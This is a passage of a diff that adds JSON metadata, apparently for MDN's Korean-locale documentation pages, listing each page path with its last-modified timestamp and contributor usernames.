+      "shotbyshot",
+      "bcc829",
+      "Je-Gwan",
+      "hongroba"
+    ]
+  },
+  "Learn/Server-side/First_steps/Website_security": {
+    "modified": "2020-07-16T22:36:28.967Z",
+    "contributors": [
+      "hrahn",
+      "wafersroom"
+    ]
+  },
+  "Learn/Skills": {
+    "modified": "2020-07-16T22:22:13.258Z",
+    "contributors": [
+      "Netaras",
+      "KwanHong_Lee66"
+    ]
+  },
+  "Learn/Tools_and_testing": {
+    "modified": "2020-07-16T22:38:56.112Z",
+    "contributors": [
+      "Epikem"
+    ]
+  },
+  "Learn/Tools_and_testing/Client-side_JavaScript_frameworks": {
+    "modified": "2020-10-25T02:13:43.260Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component": {
+    "modified": "2020-11-29T06:58:47.196Z",
+    "contributors": [
+      "imtherealk"
+    ]
+  },
+  "Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started": {
+    "modified": "2020-11-22T21:30:23.419Z",
+    "contributors": [
+      "imtherealk"
+    ]
+  },
+  "Learn/Tools_and_testing/GitHub": {
+    "modified": "2020-09-02T01:34:47.238Z",
+    "contributors": [
+      "junnapark",
+      "chrisdavidmills",
+      "04SeoHyun"
+    ]
+  },
+  "Learn/Web_기술": {
+    "modified": "2020-07-16T22:22:13.488Z",
+    "contributors": [
+      "zziuni",
+      "Netaras",
+      "teoli",
+      "cs09g"
+    ]
+  },
+  "Learn/접근성": {
+    "modified": "2020-07-16T22:39:58.455Z",
+    "contributors": [
+      "cs09g",
+      "seunghun"
+    ]
+  },
+  "Learn/접근성/HTML": {
+    "modified": "2020-07-16T22:40:12.947Z",
+    "contributors": [
+      "dev-dongwon"
+    ]
+  },
+  "Learn/접근성/What_is_accessibility": {
+    "modified": "2020-07-16T22:40:05.805Z",
+    "contributors": [
+      "seunghun"
+    ]
+  },
+  "Learn/접근성/모바일": {
+    "modified": "2020-07-16T22:40:31.872Z",
+    "contributors": [
+      "seunghun"
+    ]
+  },
+  "Localization": {
+    "modified": "2019-03-23T23:49:35.627Z",
+    "contributors": [
+      "teoli",
+      "Netaras",
+      "Unixcruiser",
+      "Gilchris"
+    ]
+  },
+  "MDN": {
+    "modified": "2019-09-10T15:43:01.288Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "zziuni",
+      "Jeremie",
+      "nacyot",
+      "hoony",
+      "devleoper",
+      "jswisher"
+    ]
+  },
+  "MDN/About": {
+    "modified": "2019-09-10T08:53:31.700Z",
+    "contributors": [
+      "SphinxKnight",
+      "alattalatta",
+      "wbamberg",
+      "zziuni",
+      "jswisher",
+      "LimeClover",
+      "empol",
+      "leosangwon"
+    ]
+  },
+  "MDN/About/MDN_services": {
+    "modified": "2020-12-05T03:06:45.428Z",
+    "contributors": [
+      "movegun1027"
+    ]
+  },
+  "MDN/Community": {
+    "modified": "2020-03-03T01:53:44.470Z",
+    "contributors": [
+      "SphinxKnight",
+      "alattalatta",
+      "wbamberg",
+      "gaucho1218",
+      "zziuni",
+      "unixforever",
+      "woojin.jo",
+      "cs09g"
+    ]
+  },
+  "MDN/Community/Conversations": {
+    "modified": "2020-02-05T05:27:57.215Z",
+    "contributors": [
+      "SphinxKnight",
+      "alattalatta",
+      "wbamberg",
+      "jswisher",
+      "woojin.jo"
+    ]
+  },
+  "MDN/Community/Roles": {
+    "modified": "2020-02-05T05:27:56.868Z",
+    "contributors": [
+      "SphinxKnight",
+      "alattalatta",
+      "wbamberg",
+      "Sheppy"
+    ]
+  },
+  "MDN/Community/Roles/Admins": {
+    "modified": "2020-02-05T05:27:57.100Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "woojin.jo"
+    ]
+  },
+  "MDN/Community/Roles/Localization_driver_role": {
+    "modified": "2020-02-05T05:27:56.977Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "woojin.jo"
+    ]
+  },
+  "MDN/Community/Working_in_community": {
+    "modified": "2020-09-01T05:37:50.669Z",
+    "contributors": [
+      "junnapark"
+    ]
+  },
+  "MDN/Contribute": {
+    "modified": "2019-01-16T19:13:18.509Z",
+    "contributors": [
+      "wbamberg",
+      "zziuni",
+      "hoony",
+      "Junny",
+      "Sheppy"
+    ]
+  },
+  "MDN/Contribute/Creating_and_editing_pages": {
+    "modified": "2019-03-23T23:13:39.002Z",
+    "contributors": [
+      "wbamberg",
+      "kkokey",
+      "zziuni",
+      "naduhy2",
+      "nodejs",
+      "AlwaysOnce",
+      "KwanHong_Lee66"
+    ]
+  },
+  "MDN/Contribute/Does_this_belong": {
+    "modified": "2019-01-16T19:22:53.277Z",
+    "contributors": [
+      "wbamberg",
+      "zziuni",
+      "yssuh",
+      "leosangwon"
+    ]
+  },
+  "MDN/Contribute/Feedback": {
+    "modified": "2020-09-30T17:51:50.022Z",
+    "contributors": [
+      "chrisdavidmills",
+      "SphinxKnight",
+      "wbamberg",
+      "zziuni",
+      "jswisher",
+      "LimeClover"
+    ]
+  },
+  "MDN/Contribute/Getting_started": {
+    "modified": "2020-11-09T03:14:41.161Z",
+    "contributors": [
+      "SphinxKnight",
+      "aldjsu.ascii",
+      "chrisdavidmills",
+      "khg0712",
+      "alattalatta",
+      "lukibum",
+      "wbamberg",
+      "ahnzaz",
+      "zziuni",
+      "cs09g",
+      "Kaben",
+      "Rohn",
+      "Junbong",
+      "leosangwon",
+      "KwanHong_Lee66",
+      "loslch"
+    ]
+  },
+  "MDN/Contribute/Howto": {
+    "modified": "2019-01-16T19:13:26.954Z",
+    "contributors": [
+      "wbamberg",
+      "zziuni",
+      "Netaras",
+      "Junbong",
+      "KwanHong_Lee66",
+      "Sheppy"
+    ]
+  },
+  "MDN/Contribute/Howto/Do_a_technical_review": {
+    "modified": "2019-01-16T19:23:36.745Z",
+    "contributors": [
+      "wbamberg",
+      "KwanHong_Lee66"
+    ]
+  },
+  "MDN/Contribute/Howto/Do_an_editorial_review": {
+    "modified": "2019-03-23T22:50:43.806Z",
+    "contributors": [
+      "wbamberg",
+      "Saru",
+      "peacekimjapan",
+      "sominlee",
+      "novelview9",
+      "woojin.jo",
+      "Epikem",
+      "misol"
+    ]
+  },
+  "MDN/Contribute/Howto/MDN_계정_생성하기": {
+    "modified": "2019-01-16T19:16:28.756Z",
+    "contributors": [
+      "wbamberg",
+      "chiyodad",
+      "Junbong",
+      "KwanHong_Lee66"
+    ]
+  },
+  "MDN/Contribute/Howto/Report_a_problem": {
+    "modified": "2020-01-07T12:20:00.841Z",
+    "contributors": [
+      "peterbe",
+      "wbamberg",
+      "LimeClover"
+    ]
+  },
+  "MDN/Contribute/Howto/Set_the_summary_for_a_page": {
+    "modified": "2019-03-23T23:14:13.204Z",
+    "contributors": [
+      "zziuni",
+      "wbamberg",
+      "KwanHong_Lee66"
+    ]
+  },
+  "MDN/Contribute/Howto/Tag": {
+    "modified": "2019-03-18T20:41:26.193Z",
+    "contributors": [
+      "alattalatta",
+      "wbamberg",
+      "minwook-shin",
+      "plzfday"
+    ]
+  },
+  "MDN/Contribute/Howto/Tag_JavaScript_pages": {
+    "modified": "2019-01-17T00:11:42.268Z",
+    "contributors": [
+      "wbamberg",
+      "woojin.jo"
+    ]
+  },
+  "MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web": {
+    "modified": "2020-02-28T22:23:49.633Z",
+    "contributors": [
+      "wbamberg",
+      "Saru",
+      "2oosoo"
+    ]
+  },
+  "MDN/Contribute/Howto/살아있는_코드_샘플로_변환하기": {
+    "modified": "2019-01-16T19:48:52.048Z",
+    "contributors": [
+      "wbamberg",
+      "Junbong"
+    ]
+  },
+  "MDN/Contribute/Processes": {
+    "modified": "2019-01-17T02:54:48.050Z",
+    "contributors": [
+      "wbamberg",
+      "zziuni"
+    ]
+  },
+  "MDN/Editor": {
+    "modified": "2020-09-30T15:42:29.661Z",
+    "contributors": [
+      "chrisdavidmills",
+      "ehgus",
+      "wbamberg",
+      "zziuni",
+      "821065887131",
+      "sominlee",
+      "Netaras",
+      "Kaben",
+      "misol"
+    ]
+  },
+  "MDN/Editor/Links": {
+    "modified": "2020-09-30T15:42:30.015Z",
+    "contributors": [
+      "chrisdavidmills",
+      "honggaruy"
+    ]
+  },
+  "MDN/Guidelines": {
+    "modified": "2020-09-30T15:30:34.264Z",
+    "contributors": [
+      "chrisdavidmills",
+      "wbamberg",
+      "zziuni",
+      "Netaras",
+      "Sheppy"
+    ]
+  },
+  "MDN/Guidelines/Best_practices": {
+    "modified": "2020-09-30T15:30:34.436Z",
+    "contributors": [
+      "chrisdavidmills",
+      "wbamberg",
+      "Netaras"
+    ]
+  },
+  "MDN/Guidelines/Code_guidelines": {
+    "modified": "2020-09-30T15:30:34.683Z",
+    "contributors": [
+      "chrisdavidmills"
+    ]
+  },
+  "MDN/Guidelines/Code_guidelines/CSS": {
+    "modified": "2020-09-30T15:30:35.142Z",
+    "contributors": [
+      "chrisdavidmills",
+      "java2020007"
+    ]
+  },
+  "MDN/Guidelines/Code_guidelines/Code_guidelines": {
+    "modified": "2020-09-30T15:30:35.323Z",
+    "contributors": [
+      "chrisdavidmills",
+      "honggaruy"
+    ]
+  },
+  "MDN/Guidelines/Style_guide": {
+    "modified": "2020-09-30T15:30:35.279Z",
+    "contributors": [
+      "chrisdavidmills",
+      "honggaruy",
+      "jswisher",
+      "alattalatta",
+      "wbamberg",
+      "sominlee",
+      "naduhy2",
+      "dale0713",
+      "epicsaga"
+    ]
+  },
+  "MDN/Kuma": {
+    "modified": "2019-09-06T03:29:26.311Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "zziuni"
+    ]
+  },
+  "MDN/Structures": {
+    "modified": "2020-09-30T12:56:35.534Z",
+    "contributors": [
+      "chrisdavidmills",
+      "zziuni",
+      "wbamberg",
+      "Netaras",
+      "hoony"
+    ]
+  },
+  "MDN/Structures/API_references": {
+    "modified": "2020-09-30T12:56:35.705Z",
+    "contributors": [
+      "chrisdavidmills",
+      "zziuni"
+    ]
+  },
+  "MDN/Structures/API_references/API_reference_sidebars": {
+    "modified": "2020-09-30T12:56:35.846Z",
+    "contributors": [
+      "chrisdavidmills",
+      "zziuni"
+    ]
+  },
+  "MDN/Structures/Compatibility_tables": {
+    "modified": "2020-10-15T22:03:04.448Z",
+    "contributors": [
+      "chrisdavidmills",
+      "wbamberg",
+      "Kuiprux",
+      "kewlbear"
+    ]
+  },
+  "MDN/Structures/Macros": {
+    "modified": "2020-09-30T12:56:35.761Z",
+    "contributors": [
+      "chrisdavidmills",
+      "wbamberg",
+      "Netaras"
+    ]
+  },
+  "MDN/Structures/Macros/Commonly-used_macros": {
+    "modified": "2020-09-30T12:56:36.084Z",
+    "contributors": [
+      "chrisdavidmills",
+      "wbamberg",
+      "teoli",
+      "fscholz",
+      "Netaras"
+    ]
+  },
+  "MDN/Tools": {
+    "modified": "2020-09-30T16:51:24.922Z",
+    "contributors": [
+      "chrisdavidmills",
+      "wbamberg",
+      "zziuni",
+      "frankradio",
+      "galcyurio",
+      "Vi01et",
+      "jswisher"
+    ]
+  },
+  "MDN/Tools/KumaScript": {
+    "modified": "2020-11-30T12:49:14.835Z",
+    "contributors": [
+      "chrisdavidmills",
+      "mfuji09"
+    ]
+  },
+  "MDN/Tools/KumaScript/Troubleshooting": {
+    "modified": "2020-09-30T16:51:25.656Z",
+    "contributors": [
+      "chrisdavidmills",
+      "Silvermist"
+    ]
+  },
+  "MDN/Tools/페이지_재생성": {
+    "modified": "2020-09-30T16:51:25.059Z",
+    "contributors": [
+      "chrisdavidmills",
+      "wbamberg",
+      "Netaras"
+    ]
+  },
+  "MDN/User_guide": {
+    "modified": "2019-01-16T20:50:22.654Z",
+    "contributors": [
+      "wbamberg",
+      "andrewJYjang"
+    ]
+  },
+  "MDN_at_ten": {
+    "modified": "2019-03-23T22:41:30.825Z",
+    "contributors": [
+      "LimeClover",
+      "jefflee0127"
+    ]
+  },
+  "Mozilla": {
+    "modified": "2019-03-23T23:35:24.435Z",
+    "contributors": [
+      "zziuni",
+      "ethertank"
+    ]
+  },
+  "Mozilla/Add-ons": {
+    "modified": "2020-02-05T05:41:49.868Z",
+    "contributors": [
+      "SphinxKnight",
+      "paperbox",
+      "goldragoon",
+      "Vi01et",
+      "LimeClover",
+      "pineoc",
+      "hanulnun",
+      "hoony",
+      "JHKinkorea"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions": {
+    "modified": "2020-02-05T05:41:52.464Z",
+    "contributors": [
+      "SphinxKnight",
+      "sylee0424",
+      "kkame",
+      "821065887131",
+      "junthus",
+      "jwhitlock",
+      "wbamberg"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API": {
+    "modified": "2020-02-05T05:41:53.526Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/browsingData": {
+    "modified": "2020-10-15T21:53:38.747Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "hoony"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/contentScripts": {
+    "modified": "2020-10-15T22:14:47.389Z",
+    "contributors": [
+      "SphinxKnight",
+      "grizlupo"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/contextMenus": {
+    "modified": "2020-10-15T21:53:39.975Z",
+    "contributors": [
+      "SphinxKnight",
+      "grizlupo",
+      "wbamberg",
+      "hoony"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/contextMenus/ContextType": {
+    "modified": "2020-10-15T22:14:46.556Z",
+    "contributors": [
+      "SphinxKnight",
+      "grizlupo"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/contextMenus/create": {
+    "modified": "2020-10-15T22:14:49.550Z",
+    "contributors": [
+      "SphinxKnight",
+      "grizlupo"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/contextMenus/getTargetElement": {
+    "modified": "2020-10-15T22:14:45.950Z",
+    "contributors": [
+      "SphinxKnight",
+      "grizlupo"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/contextMenus/onShown": {
+    "modified": "2020-10-15T22:14:49.769Z",
+    "contributors": [
+      "SphinxKnight",
+      "grizlupo"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/pageAction": {
+    "modified": "2020-10-15T22:14:47.058Z",
+    "contributors": [
+      "SphinxKnight",
+      "grizlupo"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/pageAction/show": {
+    "modified": "2020-10-15T22:14:47.700Z",
+    "contributors": [
+      "SphinxKnight",
+      "grizlupo"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/storage": {
+    "modified": "2020-10-15T21:53:35.730Z",
+    "contributors": [
+      "SphinxKnight",
+      "grizlupo",
+      "wbamberg"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/storage/StorageArea": {
+    "modified": "2020-10-15T22:14:43.771Z",
+    "contributors": [
+      "SphinxKnight",
+      "fscholz"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/storage/StorageArea/get": {
+    "modified": "2020-10-15T22:14:43.586Z",
+    "contributors": [
+      "SphinxKnight",
+      "grizlupo"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/storage/StorageArea/set": {
+    "modified": "2020-10-15T22:14:43.993Z",
+    "contributors": [
+      "SphinxKnight",
+      "grizlupo"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/storage/local": {
+    "modified": "2020-10-15T22:14:44.876Z",
+    "contributors": [
+      "SphinxKnight",
+      "grizlupo"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/storage/sync": {
+    "modified": "2020-10-15T21:53:37.479Z",
+    "contributors": [
+      "SphinxKnight",
+      "grizlupo",
+      "wbamberg",
+      "hoony"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/tabs": {
+    "modified": "2020-10-15T21:53:43.689Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "grizlupo",
+      "abbycar"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/tabs/create": {
+    "modified": "2020-10-15T22:14:46.262Z",
+    "contributors": [
+      "SphinxKnight",
+      "grizlupo"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/tabs/insertCSS": {
+    "modified": "2020-10-15T21:53:36.011Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "hoony"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/webRequest": {
+    "modified": "2020-10-15T21:53:39.205Z",
+    "contributors": [
+      "SphinxKnight",
+      "grizlupo",
+      "wbamberg",
+      "alattalatta",
+      "abbycar"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/webRequest/onBeforeRequest": {
+    "modified": "2020-10-15T21:53:40.126Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "hoony"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension": {
+    "modified": "2020-02-05T05:41:56.954Z",
+    "contributors": [
+      "SphinxKnight",
+      "junthus",
+      "gs.won"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Content_scripts": {
+    "modified": "2020-02-05T05:41:58.739Z",
+    "contributors": [
+      "SphinxKnight",
+      "grizlupo"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Examples": {
+    "modified": "2020-02-05T05:41:58.537Z",
+    "contributors": [
+      "SphinxKnight",
+      "gs.won"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Prerequisites": {
+    "modified": "2020-02-05T05:41:53.311Z",
+    "contributors": [
+      "SphinxKnight",
+      "jwhitlock",
+      "JangmiJo"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/User_actions": {
+    "modified": "2020-02-05T05:41:59.190Z",
+    "contributors": [
+      "SphinxKnight",
+      "sylee0424"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/What_are_WebExtensions": {
+    "modified": "2020-02-05T05:41:57.968Z",
+    "contributors": [
+      "SphinxKnight",
+      "junthus",
+      "gs.won"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Your_first_WebExtension": {
+    "modified": "2020-02-05T05:41:57.199Z",
+    "contributors": [
+      "SphinxKnight",
+      "yongbin_kim",
+      "laziel",
+      "gs.won"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Your_second_WebExtension": {
+    "modified": "2020-02-05T05:41:57.511Z",
+    "contributors": [
+      "SphinxKnight",
+      "gs.won"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/manifest.json": {
+    "modified": "2020-02-05T05:41:52.321Z",
+    "contributors": [
+      "SphinxKnight",
+      "jwhitlock",
+      "JangmiJo"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts": {
+    "modified": "2020-10-15T22:23:29.241Z",
+    "contributors": [
+      "SphinxKnight",
+      "kimyounguk"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/manifest.json/page_action": {
+    "modified": "2020-10-15T22:14:42.506Z",
+    "contributors": [
+      "SphinxKnight",
+      "grizlupo"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/user_interface": {
+    "modified": "2020-02-05T05:42:07.693Z",
+    "contributors": [
+      "SphinxKnight",
+      "hellosct1"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/user_interface/Page_actions": {
+    "modified": "2020-02-05T05:41:58.973Z",
+    "contributors": [
+      "SphinxKnight",
+      "grizlupo"
+    ]
+  },
+  "Mozilla/Developer_guide": {
+    "modified": "2020-02-05T05:21:09.846Z",
+    "contributors": [
+      "SphinxKnight",
+      "green-autumn",
+      "bskari"
+    ]
+  },
+  "Mozilla/Developer_guide/Eclipse": {
+    "modified": "2020-02-05T05:21:12.647Z",
+    "contributors": [
+      "SphinxKnight",
+      "Jonathan_Watt"
+    ]
+  },
+  "Mozilla/Developer_guide/Eclipse/Eclipse_CDT": {
+    "modified": "2020-02-05T05:21:13.017Z",
+    "contributors": [
+      "SphinxKnight",
+      "yuj25"
+    ]
+  },
+  "Mozilla/Developer_guide/Mozilla_Build_FAQ": {
+    "modified": "2020-02-05T05:21:11.846Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "NoBrain"
+    ]
+  },
+  "Mozilla/Developer_guide/Source_Code": {
+    "modified": "2020-02-05T05:21:12.166Z",
+    "contributors": [
+      "SphinxKnight",
+      "alattalatta",
+      "jntesteves"
+    ]
+  },
+  "Mozilla/Firefox": {
+    "modified": "2020-01-18T13:50:03.451Z",
+    "contributors": [
+      "leela52452",
+      "04SeoHyun",
+      "SphinxKnight",
+      "wbamberg",
+      "alattalatta",
+      "LimeClover",
+      "HarryCho",
+      "paperbox",
+      "hyeonseok",
+      "jongho"
+    ]
+  },
+  "Mozilla/Firefox/Releases": {
+    "modified": "2020-11-26T10:13:11.306Z",
+    "contributors": [
+      "dink95",
+      "alattalatta",
+      "ziyunfei"
+    ]
+  },
+  "Mozilla/Firefox/Releases/3": {
+    "modified": "2019-03-23T23:19:50.607Z",
+    "contributors": [
+      "nacyot",
+      "ethertank"
+    ]
+  },
+  "Mozilla/Firefox/Releases/66": {
+    "modified": "2019-04-07T22:34:47.827Z",
+    "contributors": [
+      "niceman114"
+    ]
+  },
+  "Mozilla_Source_Code_Via_CVS": {
+    "modified": "2019-03-23T23:42:11.059Z",
+    "contributors": [
+      "teoli",
+      "NoBrain"
+    ]
+  },
+  "Navigation_timing": {
+    "modified": "2019-03-23T23:19:34.117Z",
+    "contributors": [
+      "sbnet21"
+    ]
+  },
+  "Node_server_without_framework": {
+    "modified": "2020-07-16T22:36:05.665Z",
+    "contributors": [
+      "kidkkr"
+    ]
+  },
+  "Notable_bugs_fixed_in_Firefox_3": {
+    "modified": "2019-03-23T23:51:11.073Z",
+    "contributors": [
+      "teoli",
+      "Jeongkyu"
+    ]
+  },
+  "Places/Custom_Containers": {
+    "modified": "2020-01-12T05:08:34.067Z",
+    "contributors": [
+      "alattalatta",
+      "wbamberg",
+      "Jeongkyu"
+    ]
+  },
+  "Places/Instantiating_Views": {
+    "modified": "2020-01-12T05:08:39.519Z",
+    "contributors": [
+      "alattalatta",
+      "wbamberg",
+      "Jeongkyu"
+    ]
+  },
+  "Places/Query_System": {
+    "modified": "2019-04-20T03:50:18.185Z",
+    "contributors": [
+      "wbamberg",
+      "teoli",
+      "Jeongkyu"
+    ]
+  },
+  "Places/Views": {
+    "modified": "2020-01-12T05:08:46.290Z",
+    "contributors": [
+      "alattalatta",
+      "wbamberg",
+      "Jeongkyu"
+    ]
+  },
+  "SVG_improvements_in_Firefox_3": {
+    "modified": "2019-03-23T23:51:12.606Z",
+    "contributors": [
+      "teoli",
+      "Suguni"
+    ]
+  },
+  "SVG_in_Firefox": {
+    "modified": "2019-03-23T23:41:45.344Z",
+    "contributors": [
+      "teoli",
+      "Cliffet",
+      "taggon"
+    ]
+  },
+  "Scripting_Plugins": {
+    "modified": "2019-01-16T15:11:14.478Z",
+    "contributors": [
+      "teoli",
+      "Anonymous"
+    ]
+  },
+  "The_DOM_and_JavaScript": {
+    "modified": "2019-12-13T21:09:57.295Z",
+    "contributors": [
+      "wbamberg",
+      "Netaras",
+      "Sebuls"
+    ]
+  },
+  "Theme_Packaging": {
+    "modified": "2019-03-23T23:42:36.273Z",
+    "contributors": [
+      "teoli",
+      "애들아빠"
+    ]
+  },
+  "Tips_for_Authoring_Fast-loading_HTML_Pages": {
+    "modified": "2020-07-16T22:22:33.009Z",
+    "contributors": [
+      "ybin",
+      "teoli",
+      "Jeongsw",
+      "Sebuls"
+    ]
+  },
+  "Tools": {
+    "modified": "2020-07-16T22:44:16.209Z",
+    "contributors": [
+      "SphinxKnight",
+      "desty",
+      "hoony",
+      "devleoper",
+      "Junbong",
+      "Feb30th",
+      "JeongSeongDae",
+      "loslch",
+      "JHKinkorea"
+    ]
+  },
+  "Tools/Add-ons": {
+    "modified": "2020-07-16T22:36:23.557Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "mfluehr"
+    ]
+  },
+  "Tools/Add-ons/DOM_Inspector": {
+    "modified": "2020-07-16T22:36:24.511Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "Sebuls"
+    ]
+  },
+  "Tools/Debugger": {
+    "modified": "2020-07-16T22:35:05.164Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "toyuq",
+      "nacyot",
+      "gblue1223"
+    ]
+  },
+  "Tools/Debugger/UI_Tour": {
+    "modified": "2020-07-16T22:35:16.703Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "toyuq"
+    ]
+  },
+  "Tools/Debugger/단축키": {
+    "modified": "2020-07-16T22:35:18.793Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "toyuq"
+    ]
+  },
+  "Tools/How_to": {
+    "modified": "2020-07-16T22:35:07.978Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg"
+    ]
+  },
+  "Tools/How_to/Open_the_debugger": {
+    "modified": "2020-07-16T22:35:09.268Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "toyuq",
+      "galcyurio"
+    ]
+  },
+  "Tools/How_to/Search": {
+    "modified": "2020-07-16T22:35:15.581Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "toyuq"
+    ]
+  },
+  "Tools/How_to/Set_a_breakpoint": {
+    "modified": "2020-07-16T22:35:10.232Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "toyuq"
+    ]
+  },
+  "Tools/Network_Monitor": {
+    "modified": "2020-07-16T22:35:30.711Z",
+    "contributors": [
+      "SphinxKnight",
+      "yeonjukim",
+      "wicksome"
+    ]
+  },
+  "Tools/Page_Inspector": {
+    "modified": "2020-07-16T22:34:28.500Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "stitchworkingonthecode"
+    ]
+  },
+  "Tools/Page_Inspector/UI_Tour": {
+    "modified": "2020-07-16T22:34:49.329Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "stitchworkingonthecode"
+    ]
+  },
+  "Tools/Performance": {
+    "modified": "2020-07-16T22:36:13.082Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "nacyot",
+      "gblue1223",
+      "roupkk",
+      "H-yun"
+    ]
+  },
+  "Tools/Performance/UI_Tour": {
+    "modified": "2020-07-16T22:36:15.183Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "OhSeungHyeon"
+    ]
+  },
+  "Tools/Remote_Debugging": {
+    "modified": "2020-07-16T22:35:37.664Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "nacyot",
+      "Zzpeehyun",
+      "Pinkminj",
+      "crankup78"
+    ]
+  },
+  "Tools/Remote_Debugging/Firefox_for_Android": {
+    "modified": "2020-07-16T22:35:39.309Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "thqkrdl502"
+    ]
+  },
+  "Tools/Web_Console": {
+    "modified": "2020-07-16T22:34:06.575Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "Blackcoffee"
+    ]
+  },
+  "Updating_extensions_for_Firefox_2": {
+    "modified": "2019-03-23T23:47:28.581Z",
+    "contributors": [
+      "Channy"
+    ]
+  },
+  "Updating_extensions_for_Firefox_3": {
+    "modified": "2019-12-13T20:35:48.646Z",
+    "contributors": [
+      "wbamberg",
+      "Sheppy",
+      "Suguni"
+    ]
+  },
+  "Updating_web_applications_for_Firefox_3": {
+    "modified": "2019-03-23T23:50:12.740Z",
+    "contributors": [
+      "wbamberg",
+      "teoli",
+      "Sheppy",
+      "Channy"
+    ]
+  },
+  "Using_Mozilla_in_Testing_and_Debugging_Web_Sites": {
+    "modified": "2019-03-23T23:13:10.960Z",
+    "contributors": [
+      "cap3618"
+    ]
+  },
+  "Using_XPath": {
+    "modified": "2019-01-16T14:19:09.939Z",
+    "contributors": [
+      "kmaglione",
+      "Gilchris"
+    ]
+  },
+  "Web": {
+    "modified": "2020-02-16T02:49:58.384Z",
+    "contributors": [
+      "lundella",
+      "alattalatta",
+      "ehgus",
+      "limkukhyun",
+      "project42da",
+      "zziuni",
+      "tamnajio",
+      "young-gratia",
+      "pjc0247",
+      "stephenjang",
+      "Channy",
+      "ethertank"
+    ]
+  },
+  "Web/API": {
+    "modified": "2020-03-24T23:23:33.720Z",
+    "contributors": [
+      "alattalatta",
+      "cs09g",
+      "Netaras",
+      "teoli",
+      "Channy",
+      "hyeonseok",
+      "ethertank"
+    ]
+  },
+  "Web/API/ANGLE_instanced_arrays": {
+    "modified": "2020-10-15T22:07:21.231Z",
+    "contributors": [
+      "alattalatta",
+      "eerina"
+    ]
+  },
+  "Web/API/AbortController": {
+    "modified": "2020-10-15T22:28:17.165Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/AbortController/AbortController": {
+    "modified": "2020-10-15T22:28:17.033Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/AbortController/abort": {
+    "modified": "2020-10-15T22:28:17.730Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/AbortController/signal": {
+    "modified": "2020-10-15T22:28:17.058Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/AbortSignal": {
+    "modified": "2020-10-15T22:28:16.655Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/AbortSignal/aborted": {
